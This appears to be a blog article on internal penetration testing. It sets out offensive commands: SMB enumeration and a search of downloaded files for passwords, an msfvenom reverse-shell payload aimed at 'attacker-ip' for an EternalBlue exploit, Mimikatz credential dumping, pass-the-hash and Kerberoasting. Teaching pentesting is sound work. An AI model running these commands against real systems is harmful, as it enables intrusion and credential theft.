The True Value of Internal Penetration Testing: Beyond Automated Tools

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Internal penetration testing is more than just running automated tools—it’s about deep manual analysis, lateral movement, and validating findings to uncover critical security gaps.

You Should Know:

1. Manual Analysis & File Share Enumeration

Automated tools miss subtle misconfigurations. Manual digging through file shares can reveal:
– Sensitive credentials in scripts
– Overly permissive access controls
– Forgotten backup files

Commands:

 List accessible SMB shares 
smbclient -L //target-ip -N

Recursively download files from an SMB share 
smbget -R smb://target-ip/share -U anonymous

Search for sensitive files 
find /mnt/smb_share -type f -name ".txt" -exec grep -l "password" {} + 

2. Troubleshooting Custom Exploits

Not all exploits work out-of-the-box. Adjustments may include:

  • Modifying shellcode for AV evasion
  • Bypassing application controls

Example (MS17-010 Exploit):

 Modify payload in EternalBlue exploit 
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f py -o shellcode.py

Manually integrate into exploit code 
python eternalblue.py target-ip shellcode.py 

3. Lateral Movement Techniques

Moving beyond initial compromise requires:

  • Pass-the-Hash attacks
  • Kerberoasting for privilege escalation

Commands:

 Extract hashes with Mimikatz 
sekurlsa::logonpasswords

Perform Pass-the-Hash 
pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:ntlmhash //target-ip cmd

Kerberoasting with Impacket 
GetUserSPNs.py domain/user:password -dc-ip domain-controller -request 

4. Validation & Business Context

Proving impact separates real pentests from scans:

  • Documenting exact steps to reproduce
  • Mapping findings to business risks (e.g., “Domain Admin compromise allows access to financial systems”)

Example Report Snippet:

Finding: Unquoted Service Path (C:\Program Files\Vulnerable App\service.exe) 
Impact: Allows privilege escalation to SYSTEM via DLL hijacking. 
Proof: 
- Created malicious `C:\Program.exe` 
- Restarted service → gained SYSTEM shell 

What Undercode Say

Automated tools are just the start. Real penetration testing demands persistence, creativity, and deep system knowledge. The difference between running Nessus and delivering a true internal pentest lies in manual exploitation, risk analysis, and actionable remediation guidance.

Expected Output:

A comprehensive report detailing:

1. Technical Findings (exploits, payloads, commands used)

2. Business Impact Analysis (prioritized risks)

3. Remediation Steps (exact hardening measures)

Prediction

As defenses improve, manual testing will become even more critical—AI-driven tools will handle baseline scans, but human ingenuity will remain essential for uncovering advanced attack paths.

Relevant URLs:

References:

Reported By: Spenceralessi You – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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